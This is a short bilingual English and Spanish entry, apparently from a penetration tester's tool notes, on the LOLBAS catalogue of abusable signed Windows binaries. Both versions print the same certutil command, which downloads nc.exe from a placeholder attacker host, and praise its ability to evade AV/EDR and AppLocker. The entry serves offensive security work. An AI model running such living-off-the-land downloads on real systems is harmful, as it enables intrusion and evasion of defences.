LOLBAS
What it is — LOLBAS (Living Off The Land Binaries And Scripts) is the Windows equivalent of GTFOBins: it catalogues native Windows binaries, scripts, and libraries (Microsoft-signed, already present on any installation) that can be abused to execute code, download files, evade AppLocker/Defender, or escalate privileges — without needing to upload any external tool to the system.
| Type | Web / static catalogue |
| Cost | Free |
| URL | lolbas-project.github.io |
How to use it
Every binary has its own page with examples grouped by category (Execute, Download, Bypass, Credentials, Compile...). Example of downloading a file by abusing certutil (native, no PowerShell or external tools needed):
certutil.exe -urlcache -split -f http://<ATTACKER_IP>/nc.exe C:\Windows\Temp\nc.exeWhy it matters in a real engagement: since these are already-signed binaries present by default on Windows, using them leaves a much smaller footprint and is far less likely to be blocked by an AV/EDR than uploading an external offensive tool like
nc.exedirectly.
What I use it for
- When I land on a restricted Windows (AppLocker, restrictive execution policies) I look here for which already-trusted system binary I can abuse to get execution.
- Downloading tools without curl/wget (not always available on Windows) — certutil, bitsadmin, or PowerShell are almost always present.
- Perfect companion to GTFOBins: one for Linux, one for Windows — depending on which OS I'm facing on a given machine.
Link
Qué es — LOLBAS (Living Off The Land Binaries And Scripts) es el equivalente en Windows a GTFOBins: cataloga binarios, scripts y librerías nativos de Windows (firmados por Microsoft, ya presentes en cualquier instalación) que pueden abusarse para ejecutar código, descargar ficheros, evadir AppLocker/Defender, o escalar privilegios — sin necesidad de subir ninguna herramienta externa al sistema.
| Tipo | Web / catálogo estático |
| Coste | Gratis |
| URL | lolbas-project.github.io |
Cómo se usa
Cada binario tiene su ficha con ejemplos por categoría (Execute, Download, Bypass, Credentials, Compile...). Ejemplo de descarga de fichero abusando de certutil (nativo, sin necesidad de PowerShell ni herramientas externas):
certutil.exe -urlcache -split -f http://<ATTACKER_IP>/nc.exe C:\Windows\Temp\nc.exePor qué es tan útil en un engagement real: como son binarios ya firmados y presentes por defecto en Windows, usarlos deja mucha menos huella y es mucho menos probable que un AV/EDR los bloquee que subir una herramienta ofensiva externa como
nc.exedirectamente.
Para qué lo uso yo
- Cuando llego a un Windows con acceso limitado (AppLocker, políticas de ejecución restrictivas) busco aquí qué binario ya confiable del sistema puedo abusar para conseguir ejecución.
- Descargar herramientas sin tocar disco con curl/wget (que no siempre están disponibles en Windows) — certutil, bitsadmin o PowerShell suelen estar siempre presentes.
- Complemento perfecto de GTFOBins: uno para Linux, otro para Windows — según qué sistema operativo tenga delante en cada máquina.